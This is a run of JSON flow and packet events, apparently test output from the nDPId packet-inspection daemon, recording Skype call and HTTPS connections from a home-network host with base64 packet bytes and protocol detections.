+00448{"flow_id":213,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1244,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970683,"pkt_ts_usec":542740,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8XZRAAEAGkonAqAEinTfrnMhNnFpJkZ6byTsrQ4AYEChm5AAAAQEICj4yROFMXOPPdjjDMntxC5I="} +00512{"flow_id":192,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1245,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970683,"pkt_ts_usec":786925,"pkt_caplen":119,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":119,"pkt_l4_len":85,"pkt":"0NQSxnP1PBXCt3IOCABFAABpdhtAAEAGednAqAEinTfrmMhKAbuh9dMOzkYJiIAYECyIpQAAAQEICj4yRdVMXimi86hE3Mf+F71gUhXfICsOYAQVmYXa6zVmVAN\/UCwMTk1xoRWYRdaWkDsfzScQ6Y1RzsI3trk="} +00454{"flow_id":215,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1246,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970683,"pkt_ts_usec":978082,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAGihAAEAGpLjAqAEib91KMMhPnEhg80NCAAAAALAC\/\/8tkQAAAgQFtAEDAwUBAQgKPjJGlAAAAAAEAgAA"} +00489{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1247,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":218,"flow_packet_id":1,"flow_first_seen":1431970683987,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.175","src_port":13021,"dst_port":40023,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00449{"flow_id":218,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1247,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970683,"pkt_ts_usec":987836,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8i9IAAEARpC3AqAEinTfrrzLdnFcAKG0ve8ECvWqBesxtVN\/+FF8A8FJFXO0bTxFAGhtLbx9IUYU="} +00529{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1247,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":218,"flow_packet_id":1,"flow_first_seen":1431970683987,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.175","src_port":13021,"dst_port":40023,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00487{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1248,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":219,"flow_packet_id":1,"flow_first_seen":1431970683987,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.52.17","src_port":13021,"dst_port":40013,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00436{"flow_id":219,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1248,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970683,"pkt_ts_usec":987837,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0Ni4AAEARsXfAqAEinTg0ETLdnE0AIDQfe8MCmFcjIzVltOuGOdvvgZmibnosxcEh"} +00527{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1248,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":219,"flow_packet_id":1,"flow_first_seen":1431970683987,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.52.17","src_port":13021,"dst_port":40013,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00486{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1249,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":220,"flow_packet_id":1,"flow_first_seen":1431970683987,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"64.4.23.170","src_port":13021,"dst_port":40011,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00436{"flow_id":220,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1249,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970683,"pkt_ts_usec":987900,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0PqwAAEARIpXAqAEiQAQXqjLdnEsAIM3ke8UC93ejJq9SbNcOBlZBFwBC35pf1nt9"} +00526{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1249,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":220,"flow_packet_id":1,"flow_first_seen":1431970683987,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"64.4.23.170","src_port":13021,"dst_port":40011,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00448{"flow_id":212,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1250,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970684,"pkt_ts_usec":69368,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA84vRAAEAGDTPAqAEinTfrkshMnFVVB2tZ4fDnQYAYECluegAAAQEICj4yRu9MYN9f7d463h6NxxM="} +00450{"flow_id":213,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1251,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970684,"pkt_ts_usec":152100,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8Jt5AAEAGyT\/AqAEinTfrnMhNnFpJkZ6byTsrQ4AYEChkhAAAAQEICj4yR0FMXOPPdjjDMntxC5I="} +00448{"flow_id":215,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1252,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970684,"pkt_ts_usec":268798,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8AABAADcGx+Rv3UowwKgBIpxIyE81se9IYPNDQ6ASOJCdPQAAAgQFrAQCCApNifogPjJCqwEDAwk="} +00436{"flow_id":215,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1253,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970684,"pkt_ts_usec":268900,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0vlRAAEAGAJjAqAEib91KMMhPnEhg80NDNbHvSYAQECzvXQAAAQEICj4yR7VNifog"} +00507{"flow_id":215,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1254,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970684,"pkt_ts_usec":269454,"pkt_caplen":116,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":116,"pkt_l4_len":82,"pkt":"0NQSxnP1PBXCt3IOCABFAABma2tAAEAGU0\/AqAEib91KMMhPnEhg80NDNbHvSYAYECz6rAAAAQEICj4yR7VNifog6S4q4yHQSfbXIeMHlq6o2PrMPtbeI4QAQSVzvS6sYktY0zKVyCE6kzOh9W8oGR9AmsM="} +00448{"flow_id":214,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1255,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970684,"pkt_ts_usec":543274,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA83DdAAEAGRRfAqAEiQAQXn8hOnEl2PjsWIF+fsYAYECgdvgAAAQEICj4ySMdMR9i06BKmNwKjHHk="} +00436{"flow_id":215,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1256,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970684,"pkt_ts_usec":561569,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0FSBAADcGssxv3UowwKgBIpxIyE81se9JYPNDdYAQAB3+8QAAAQEICk2J+mk+Mke1"} +00580{"flow_id":215,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1257,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970684,"pkt_ts_usec":563732,"pkt_caplen":169,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":169,"pkt_l4_len":135,"pkt":"PBXCt3IO0NQSxnP1CABFAACbFSFAADcGsmRv3UowwKgBIpxIyE81se9JYPNDdYAYAB2FVwAAAQEICk2J+mk+Mke1yNVL9qyoiY0MBsyANMGSNjrd5g1ndD1+H5z8rKkNmwGp5zI9pi6xZhVsHc8MmY79QX5XHN1qU+g5Fg90VYKLwDGux8zNmsOYKUZ\/JEWy+3Ah3jd8vcozSBl279Q14msgEQ6nLK36ow=="} +00437{"flow_id":215,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1258,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970684,"pkt_ts_usec":563798,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0S\/pAAEAGcvLAqAEib91KMMhPnEhg80N1NbHvsIAQECjtWQAAAQEICj4ySNtNifpp"} +00449{"flow_id":215,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1259,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970684,"pkt_ts_usec":564328,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA857NAAEAG1zDAqAEib91KMMhPnEhg80N1NbHvsIAYECha\/AAAAQEICj4ySNtNifppdiL3+rNlcMo="} +00487{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1260,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":221,"flow_packet_id":1,"flow_first_seen":1431970684583,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.146","src_port":51280,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00454{"flow_id":221,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1260,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970684,"pkt_ts_usec":583222,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAJbZAAEAGym3AqAEinTfrkshQAbtIMwlhAAAAALAC\/\/9JqAAAAgQFtAEDAwUBAQgKPjJI7gAAAAAEAgAA"} +00487{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1261,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":222,"flow_packet_id":1,"flow_first_seen":1431970684583,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.156","src_port":51281,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00454{"flow_id":222,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1261,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970684,"pkt_ts_usec":583412,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABATSFAAEAGovjAqAEinTfrnMhRAbsdDADVAAAAALAC\/\/99UAAAAgQFtAEDAwUBAQgKPjJI7gAAAAAEAgAA"} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1262,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":223,"flow_packet_id":1,"flow_first_seen":1431970684583,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"64.4.23.159","src_port":51282,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00456{"flow_id":223,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1262,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970684,"pkt_ts_usec":583695,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABA0\/xAAEAGTU7AqAEiQAQXn8hSAbvNFjtFAAAAALAC\/\/\/EBQAAAgQFtAEDAwUBAQgKPjJI7gAAAAAEAgAA"} +00486{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1263,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":224,"flow_packet_id":1,"flow_first_seen":1431970684583,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.48","src_port":51283,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00454{"flow_id":224,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1263,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970684,"pkt_ts_usec":583810,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAs0xAAEAGC5TAqAEib91KMMhTAbtJAhNrAAAAALAC\/\/8NiQAAAgQFtAEDAwUBAQgKPjJI7gAAAAAEAgAA"} +00448{"flow_id":221,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1264,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970684,"pkt_ts_usec":658664,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8AABAADYG+iedN+uSwKgBIgG7yFDrM+1YSDMJYqASOJAcRAAAAgQFrAQCCApMYODePjJI7gEDAwk="} +00448{"flow_id":222,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1265,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970684,"pkt_ts_usec":658670,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8AABAADYG+h2dN+ucwKgBIgG7yFE1cNv2HQwA1qASOJASpwAAAgQFrAQCCApMXOVNPjJI7gEDAwk="} +00436{"flow_id":221,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1266,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970684,"pkt_ts_usec":658791,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0Kw9AAEAGxSDAqAEinTfrkshQAbtIMwli6zPtWYAQECxzIwAAAQEICj4ySTlMYODe"} +00436{"flow_id":222,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1267,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970684,"pkt_ts_usec":658817,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0tXdAAEAGOq7AqAEinTfrnMhRAbsdDADWNXDb94AQECxphgAAAQEICj4ySTlMXOVN"} +00536{"flow_id":221,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1268,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970684,"pkt_ts_usec":658907,"pkt_caplen":138,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":138,"pkt_l4_len":104,"pkt":"0NQSxnP1PBXCt3IOCABFAAB8fsFAAEAGcSbAqAEinTfrkshQAbtIMwli6zPtWYAYECxWCQAAAQEICj4ySTlMYODegEYBAwEALQAAABAAAAUAAAQAAAoAAAkAAGQAAGIAAAgAAAMAAAYBAIAHAMADAIAGAEACAIAEAICHjI1ag1jpBj\/kBXK7MOGe"} +00535{"flow_id":222,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1269,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970684,"pkt_ts_usec":658940,"pkt_caplen":138,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":138,"pkt_l4_len":104,"pkt":"0NQSxnP1PBXCt3IOCABFAAB8VFpAAEAGm4PAqAEinTfrnMhRAbsdDADWNXDb94AYECzL6gAAAQEICj4ySTlMXOVNgEYBAwEALQAAABAAAAUAAAQAAAoAAAkAAGQAAGIAAAgAAAMAAAYBAIAHAMADAIAGAEACAIAEAID3PH2K8wjZNq+U9aIr4NHO"} +00436{"flow_id":221,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1270,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970684,"pkt_ts_usec":736531,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0DahAADYG7IedN+uSwKgBIgG7yFDrM+1ZSDMJqoAQAB2C1wAAAQEICkxg4PE+Mkk5"} +00436{"flow_id":222,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1271,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970684,"pkt_ts_usec":736766,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0PpdAADYGu46dN+ucwKgBIgG7yFE1cNv3HQwBHoAQAB15OgAAAQEICkxc5WA+Mkk5"} +00491{"flow_id":221,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1272,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970684,"pkt_ts_usec":736798,"pkt_caplen":104,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":104,"pkt_l4_len":70,"pkt":"0NQSxnP1PBXCt3IOCABFAABazKNAAEAGI2bAqAEinTfrkshQAbtIMwmq6zPtWYAYECx8LQAAAQEICj4ySYZMYODx4TzV3\/Y4WDPH3tpvaLZcP8pol15k+DSkUSs81WKefnkA99PxSe0="} +00480{"flow_id":222,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1273,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970684,"pkt_ts_usec":736876,"pkt_caplen":99,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":99,"pkt_l4_len":65,"pkt":"0NQSxnP1PBXCt3IOCABFAABVGdhAAEAG1izAqAEinTfrnMhRAbsdDAEeNXDb94AYECxb9wAAAQEICj4ySYZMXOVgRJ52DFIu7cAK7Gpc8dNzIO4YY2vVOHQu5N+2IqCrL00y"} +00448{"flow_id":223,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1274,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970684,"pkt_ts_usec":778823,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8AABAADYGK09ABBefwKgBIgG7yFJrWCY7zRY7RqASOJDkfAAAAgQFrAQCCApMR9oVPjJI7gEDAwk="} +00436{"flow_id":223,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1275,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970684,"pkt_ts_usec":778945,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0bUpAAEAGtAzAqAEiQAQXn8hSAbvNFjtGa1gmPIAQECw65QAAAQEICj4ySbBMR9oV"} +00535{"flow_id":223,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1276,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970684,"pkt_ts_usec":779059,"pkt_caplen":138,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":138,"pkt_l4_len":104,"pkt":"0NQSxnP1PBXCt3IOCABFAAB8lGVAAEAGjKnAqAEiQAQXn8hSAbvNFjtGa1gmPIAYECwbywAAAQEICj4ySbBMR9oVgEYBAwEALQAAABAAAAUAAAQAAAoAAAkAAGQAAGIAAAgAAAMAAAYBAIAHAMADAIAGAEACAIAEAIBn7G26Y7jJZh9E5dKbkMH+"} +00449{"flow_id":215,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1277,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970684,"pkt_ts_usec":857054,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8FSJAADcGssJv3UowwKgBIpxIyE81se+wYPNDdYAYAB1TYgAAAQEICk2J+rI+MkjbQeP0Ugn+aXU="} +00437{"flow_id":215,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1278,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970684,"pkt_ts_usec":857170,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0TBBAAEAGctzAqAEib91KMMhPnEhg80N9NbHvuIAQECjr3QAAAQEICj4ySf5Nifqy"} +00448{"flow_id":224,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1279,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970684,"pkt_ts_usec":880397,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8AABAADcGx+Rv3UowwKgBIgG7yFO6F0g1SQITbKASOJCbYQAAAgQFrAQCCApNifq4PjJI7gEDAwk="} +00421{"flow_id":224,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1280,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970684,"pkt_ts_usec":880482,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"0NQSxnP1PBXCt3IOCABFAAAo55hAAEAG11\/AqAEib91KMMhTAbtJAhNsAAAAAFAEAAANjAAA"} +00437{"flow_id":215,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1281,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970684,"pkt_ts_usec":896620,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0FSNAADcGsslv3UowwKgBIpxIyE81se+4YPNDfYAQAB39AAAAAQEICk2J+r0+Mkjb"} +00503{"flow_id":215,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1282,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970684,"pkt_ts_usec":896728,"pkt_caplen":112,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":112,"pkt_l4_len":78,"pkt":"0NQSxnP1PBXCt3IOCABFAABixzFAAEAG94zAqAEib91KMMhPnEhg80N9NbHvuIAYECh6agAAAQEICj4ySiVNifq9GLe0D4Tn9QWk7lg3TOi+kHeOZN728IAqJqmwFk6udAQJYg5gSDcpHRSwOSRd0g=="} 